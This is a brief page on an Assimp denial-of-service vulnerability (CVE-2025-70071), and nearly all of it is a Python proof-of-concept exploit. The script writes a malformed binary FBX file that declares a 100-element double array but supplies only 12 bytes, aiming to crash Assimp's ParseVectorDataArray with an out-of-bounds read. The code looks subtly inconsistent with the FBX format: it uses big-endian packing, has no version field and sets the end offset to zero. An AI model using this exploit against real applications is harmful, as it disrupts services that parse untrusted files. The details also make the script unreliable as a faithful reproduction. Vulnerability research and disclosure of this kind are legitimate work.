CVE-2025-70071 Assimp拒绝服务漏洞

import struct def create_malformed_fbx(filename): """ Generates a malformed FBX file to trigger the ParseVectorDataArray crash. The file declares a large array of doubles but provides insufficient data. """ # FBX Binary Header magic = b'Kaydara FBX Binary\x20\x20\x00\x1a\x00' # FBX Node Header structure: EndOffset, NumProperties, PropertyListLen, NameLen, Name # We create a dummy node to hold the malicious property end_offset = 0 # Placeholder num_props = 1 prop_list_len = 25 # 1 byte type + 4 bytes len + 4 bytes encoding + 4 bytes compressed_len + 12 bytes data name_len = 1 name = b'P' node_header = struct.pack(">IIII", end_offset, num_props, prop_list_len, name_len) with open(filename, 'wb') as f: f.write(magic) f.write(node_header) f.write(name) # Property: Array of doubles ('d') f.write(b'd') # Length of array: Claim 100 elements array_len = 100 f.write(struct.pack(">I", array_len)) # Encoding: 0 (Raw, uncompressed) f.write(struct.pack(">I", 0)) # Compressed length: 0 f.write(struct.pack(">I", 0)) # Malformed Data: # The parser expects 'array_len * 8' bytes (800 bytes). # We intentionally write less data to cause a read overflow or crash. f.write(b'\x00' * 12) # Only 12 bytes written print(f"[+] Malformed FBX file generated: {filename}") if __name__ == "__main__": create_malformed_fbx("exploit_CVE-2025-70071.fbx")